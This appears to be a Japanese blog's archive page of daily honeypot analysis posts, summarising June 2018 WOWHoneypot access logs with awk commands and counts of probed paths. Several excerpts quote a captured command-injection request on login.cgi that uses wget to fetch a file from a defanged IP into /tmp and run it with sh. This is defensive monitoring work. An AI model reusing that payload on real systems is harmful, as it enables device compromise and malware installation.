WOWHoneypot簡易分析(26日目)

honeypot

WOWhoneypotの2018/6/29(金)（運用26日目）の簡易分析です。本日の総アクセス件数は220件です。 39 [2018-06-29 "GET / 14 [2018-06-29 "HEAD / 4 [2018-06-29 "GET /xampp/phpmyadmin/index.php 4 [2018-06-29 "GET /web/phpMyAdmin/index.php 4 [2018-06-…

2018-06-29

WOWHoneypot簡易分析(25日目)

honeypot

WOWhoneypotの2018/6/28(木)（運用25日目）の簡易分析です。本日の総アクセス件数はなんと、1520件です。 1210 [2018-06-28 "GET /manager/html 153 [2018-06-28 "POST /command.php 33 [2018-06-28 "GET / 25 [2018-06-28 "HEAD / 2 [2018-06-28 "GET /xam…

2018-06-28

WOWHoneypot簡易分析(24日目)

honeypot

WOWhoneypotの2018/6/27(水)（運用24日目）の簡易分析です。本日の総アクセス件数は170件です。 37 [2018-06-27 "GET / 34 [2018-06-27 "HEAD / 2 [2018-06-27 "GET /xampp/phpmyadmin/index.php 2 [2018-06-27 "GET /www/phpMyAdmin/index.php 2 [2018-06-…

2018-06-27

WOWHoneypot簡易分析(23日目)

honeypot

WOWhoneypotの2018/6/26(火)（運用23日目）の簡易分析です。本日の総アクセス件数は121件です。 67 [2018-06-26 "HEAD / 45 [2018-06-26 "GET / 1 [2018-06-26 "GET /w00tw00t.at.blackhats.romanian.anti-sec:)1 [2018-06-26 "GET /phpMyAdmin/scripts/set…

2018-06-26

WOWHoneypot簡易分析(22日目)

honeypot

WOWhoneypotの2018/6/25(月)（運用22日目）の簡易分析です。本日の総アクセス件数は170件です。 83 [2018-06-25 "HEAD / 43 [2018-06-25 "GET / 2 [2018-06-25 "GET /web/phpMyAdmin/index.php 2 [2018-06-25 "GET /pmamy/index.php 2 [2018-06-25 "GET /pm…

2018-06-25

WOWHoneypot簡易分析(21日目)

honeypot

WOWhoneypotの2018/6/24(日)（運用21日目）の簡易分析です。本日の総アクセス件数は397件です。 73 [2018-06-24 "HEAD / 45 [2018-06-24 "GET / 6 [2018-06-24 "GET /xampp/phpmyadmin/index.php 6 [2018-06-24 "GET /www/phpMyAdmin/index.php 6 [2018-06-…

2018-06-24

WOWHoneypot簡易分析(20日目)

honeypot

WOWhoneypotの2018/6/23(土)（運用20日目）の簡易分析です。本日の総アクセス件数は212件です。 73 [2018-06-23 "HEAD / 40 [2018-06-23 "GET / 3 [2018-06-23 "GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://185.62.190[.]191/r%20-O%20-%3E%20/tmp/r;sh%2…

2018-06-23

WOWHoneypot簡易分析(19日目)

honeypot

WOWhoneypotの2018/6/22(金)（運用19日目）の簡易分析です。本日のアクセス件数は658件。これまでで最大です。 68 [2018-06-22 "HEAD / 40 [2018-06-22 "GET / 4 [2018-06-22 "GET /index.action 1 [2018-06-22 "GET /zfstyle_v4/logo/logo_zfoa.png 1 [201…

2018-06-22

WOWHoneypot簡易分析(18日目)

honeypot

WOWhoneypotの2018/6/21(木)（運用18日目）の簡易分析です。本日の総アクセスログは213件です。件数日付メソッドパス 153 2018-06-21 POST /command.php 39 2018-06-21 GET / 11 2018-06-21 HEAD / 1 2018-06-21 GET /login.cgi?cli=aa%20aa%27;wget%20…

2018-06-21

WOWHoneypot簡易分析(17日目)

honeypot

WOWhoneypotの2018/6/20(水)（運用17日目）の簡易分析です。本日の総アクセスログは246件です。 $ awk '/06-20/{print $1,$5,$6}' access_log | sort | uniq -c | sort -nr 54 [2018-06-20 "GET / 9 [2018-06-20 "HEAD / 5 [2018-06-20 "GET /login.cgi?cli…

2018-06-20

WOWHoneypot簡易分析(16日目)

honeypot

WOWhoneypotの2018/6/19(火)（運用16日目）の簡易分析です。本日の総アクセスログは176件です。少ない日ですね。 $ awk '/06-19/{print $1,$5,$6}' access_log | sort | uniq -c | sort -nr 52 [2018-06-19 "GET / 11 [2018-06-19 "HEAD / 5 [2018-06-19 "G…

2018-06-19

WOWHonypot簡易分析(15日目)

honeypot

WOWhonypotの2018/6/18(月)（運用15日目）の簡易分析です。本日の総アクセスは254件です。 $ awk '/06-18/{print $1,$5,$6}' /var/log/wowhoneypot/access_log* | sort | uniq -c | sort -nr 67 [2018-06-18 "GET / 25 [2018-06-18 "HEAD / 16 [2018-06-18 …

2018-06-18

WOWHoneypot簡易分析(14日目)

honeypot

WOWhoneypotの2018/6/17(日)（運用14日目）の簡易分析です。本日の総アクセス数は126件です。だいぶ落ち着きました。 50 [2018-06-17 "GET / 33 [2018-06-17 "GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://185.62.190[.]191/r%20-O%20-%3E%20/tmp/r;sh%20/…

2018-06-17

WOWHoneypot簡易分析(13日目)

honeypot

WOWhoneypotの2018/6/15(土)（運用13日目）の簡易分析です。本日の総アクセス数は435件です。また平時の2倍近いアクセス数がありました。これだけ多いと分析が大変ですが、ちょっとワクワクしますね。 awk '/06-16/{print $1,$5,$6}' access_log | sort | u…

2018-06-16

WOWHoneypot簡易分析(12日目)

honeypot

WOWhoneypotの2018/6/15(金)（運用12日目）の簡易分析です。アクセス件数は272件です。 $ awk '/06-15/{print $1,$5,$6}' access_log | sort | uniq -c | sort -nr 120 [2018-06-15 "GET / 65 [2018-06-15 "HEAD / 3 [2018-06-15 "GET /phpMyAdmin/phpMyAdm…

2018-06-15

WOWHoneypot簡易分析(11日目)

honeypot

WOWhoneypotの2018/6/14(木)（運用11日目）の簡易分析です。本日の総アクセス数は413件です。一気に倍近いのアクセスが来てビックリです。 $ awk '/06-14/{print $1,$5,$6}' /var/log/wowhoneypot/access_log | sort | uniq -c | sort -nr 163 [2018-06-14 …

2018-06-14

WOWHoneypot簡易分析(10日目)

honeypot

WOWhoneypotの2018/6/13(水)（運用10日目）の簡易分析です。本日の総アクセス数は291件です。 $ awk '/06-13/{print $1,$5,$6}' /var/log/wowhoneypot/access_log | sort | uniq -c | sort -nr 148 [2018-06-13 "GET / 74 [2018-06-13 "GET /manager/html 2…

2018-06-13

WOWHoneypot簡易分析(9日目)

honeypot

WOWhoneypotの2018/6/12(火)（運用9日目）の簡易分析です。本日の総アクセス数は186件です。 $ awk '/06-12/{print $1,$5,$6}' access_log | sort | uniq -c | sort -nr 108 [2018-06-12 "GET / 4 [2018-06-12 "GET /pma/index.php 4 [2018-06-12 "GET /php…

2018-06-12

WOWHoneypot簡易分析(8日目)

honeypot

WOWhoneypotの2018/6/11(月)（運用8日目）の簡易分析です。総アクセスは197件でした。 awk '/06-11/{print $1,$5,$6}' /var/log/wowhoneypot/access_log | sort | uniq -c | sort -nr 81 [2018-06-11 "GET / 16 [2018-06-11 "GET /index.action 2 [2018-06-…

2018-06-11

WOWHoneypotの簡易分析(7日目)

honeypot

2018/06/10のログの解析です。本日の総アクセス数は290件でした。徐々にアクセス数は伸びているような気がします。 awk '{print $1,$5,$6}' access_log | grep "06-10" | sort | uniq -c | sort -nr 48 [2018-06-10 "GET / 6 [2018-06-10 "GET /pmd/index.p…

2018-06-10

WOWHoneypotの簡易分析(6日目)

honeypot

WOWhoneypotの2018/6/9(土)（運用6日目）の簡易分析です。総アクセス数は168件でした。うちこれまでにも来ていたものは、以下です。トップページへのアクセス：42件 PhpMyAdminに関する調査行為：121件 Welogicの脆弱性(CVE-2017-10271)を狙った攻撃：2件…

2018-06-09

WOWHoneypotの簡易分析(5日目)

honeypot

WOWhoneypotの2018/6/8（運用5日目）の簡易分析です。本日のハニポへのアクセス件数は218件、内訳は以下です。 153 [2018-06-08 "POST /command.php 42 [2018-06-08 "GET / 12 [2018-06-08 "GET /index.action 2 [2018-06-08 "GET hxxp://httpheader[.]net/…

2018-06-08

WOWHoneypot簡易分析（4日目）

honeypot

WOWhoneypotの2018/6/7（運用4日目）の簡易分析です。日付変わってから寝る前にさっと確認する感じで、やってみています。本日のアクセス件数は143件でした。 42 [2018-06-07 "GET / 8 [2018-06-07 "GET /index.action 2 [2018-06-07 "GET /xampp/phpmyadm…

2018-06-07

WOWHoneypot簡易分析（3日目）

honeypot

2018/6/6（運用3日目）の簡易分析です。とりあえず、時間が取れて解析環境構築できるまでは、主にコマンドベースでの分析です。 6/6は計85件のアクセスです。今日はメソッドとパスで集計取りました。 $ awk '{print $1,$5,$6}' access_log | sort | uniq -c…

2018-06-06

WOWHoneypot簡易分析（2日目）

honeypot

モチベのあるうちに少しでもいいから書いていこうと思います。 6/5分のアクセスは計142アクセスでした。以下、パス別集計です。 47 [2018-06-05 / 2 [2018-06-05 /xampp/phpmyadmin/index.php 2 [2018-06-05 /www/phpMyAdmin/index.php 2 [2018-06-05 /web/p…